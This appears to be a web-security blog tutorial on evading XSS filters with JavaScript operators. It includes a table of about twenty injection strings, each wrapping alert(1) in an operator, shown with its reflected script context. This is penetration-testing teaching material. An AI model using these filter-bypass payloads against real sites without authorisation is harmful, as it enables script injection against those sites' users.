True Stories of the TRC-Web Application Security

Filter Evasion: Concatenation & JavaScript Operators

In my previous post, I talked about the basic anatomy of an XSS injection: break out, execute payload, and blend in. While the anatomy is simple in principle, things can become more complex when filters, escaping, and encoding enter the mix.

One of the examples I used in the previous post was as follows:

Injection: xss";alert(1);//



Staying with this example, let’s say we are unable to add any of the following characters: / < > ; What then? Some of you are familiar with using string concatenation to execute XSS, like this:

Injection: xss"%2balert(1)%2b"



In JavaScript, the ‘+’ is simply an operator. How it will be interpreted will differ depending on the context. In some cases (x="hi "+"there"), it will be seen as string concatenation; but when applied to numbers (x=40+2), it will be seen as a mathematical operator. Because JavaScript checks basic syntax only before executing, operators other than the ‘+’ can be used; for example, an asterisk:

Injection: "*alert(1)*"



Used as a mathematical operator, the asterisk obviously will not compute anything meaningful when applied to strings (unless the strings can be parsed as numeric, like x="6"*"7"), so the JavaScript engine will readily accept the injection because it is syntactically correct.

The engine must first evaluate the alert(1) function call before it can evaluate the strings and asterisks. This is like the order of operations in mathematics: 3*2+1=7, but 3*(2+1)=9.  That is, the parentheses take precedence in the order of operations, just as the alert(1) function call takes precedence in the order of execution with code.  And, therefore, as long as valid JavaScript operators connect the function call to the surrounding operands, all will be merry and grand in the land of exploits.

Assuming there are no filtering obstacles to overcome, the following mathematical, logical, and bitwise operators can be used in our injection without violating syntax, and will result in our alert being executed:

Operator Injection Reflection
Addition & String Concatenation "%2balert(1)%2b" <script>x=""+alert(1)+"";y=42;</script>
Subtraction "-alert(1)-" <script>x=""-alert(1)-"";y=42;</script>
Multiplication "*alert(1)*" <script>x=""*alert(1)*"";y=42;</script>
Division "/alert(1)/" <script>x=""/alert(1)/"";y=42;</script>
Modulus; %25 needs to reflect as %. "%25alert(1)%25" <script>x=""%alert(1)%"";y=42;</script>
“Less Than” Comparison "<alert(1)<" <script>x=""<alert(1)<"";y=42;</script>
“Greater Than” Comparison ">alert(1)>" <script>x="">alert(1)>"";y=42;</script>
“Less Than or Equal To” Comparison "<=alert(1)<=" <script>x=""<=alert(1)<="";y=42;</script>
“Greater Than or Equal To” Comparison ">=alert(1)>=" <script>x="">=alert(1)>="";y=42;</script>
“Equal To” Comparison "==alert(1)==" <script>x=""==alert(1)=="";y=42;</script>
Strong-Typed “Equal To” Comparison "===alert(1)===" <script>x=""===alert(1)==="";y=42;</script>
“Not Equal To” Comparison "!=alert(1)!=" <script>x=""!=alert(1)!="";y=42;</script>
Logical “and”; %26 needs to reflect as &. "%26%26alert(1)%26%26" <script>x=""&&alert(1)&&"";y=42;</script>
Logical “or”; Note: will only result in payload executing if preceding string is evaluated as “false” by the JS engine, like an empty string. "||alert(1)||" <script>x=""||alert(1)||"";y=42;</script>
Bitwise “and”; %26 needs to reflect as &. "%26alert(1)%26" <script>x=""&alert(1)&"";y=42;</script>
Bitwise “or” "|alert(1)|" <script>x=""|alert(1)|"";y=42;</script>
Bitwise “xor” "^alert(1)^" <script>x=""^alert(1)^"";y=42;</script>
Bitwise Left Shift "<<alert(1)<<" <script>x=""<<alert(1)<<"";y=42;</script>
Bitwise Right Shift ">>alert(1)>>" <script>x="">>alert(1)>>"";y=42;</script>
Bitwise Right Shift With Zeros ">>>alert(1)>>>" <script>x="">>>alert(1)>>>"";y=42;</script>
Ternary Conditional Expression "?alert(1):" <script>x=""?alert(1):"";y=42;</script>


You may be asking, “Why bother listing << if simply < can be used?” I’m so glad you asked!  The answer is this: Every application is unique, and you never know when < might get filtered out, while << does not.

Overall it’s always good to know as many options as possible, because even the most unlikely one may end up being the key.

Tags: Cross Site Scripting, JavaScript, XSS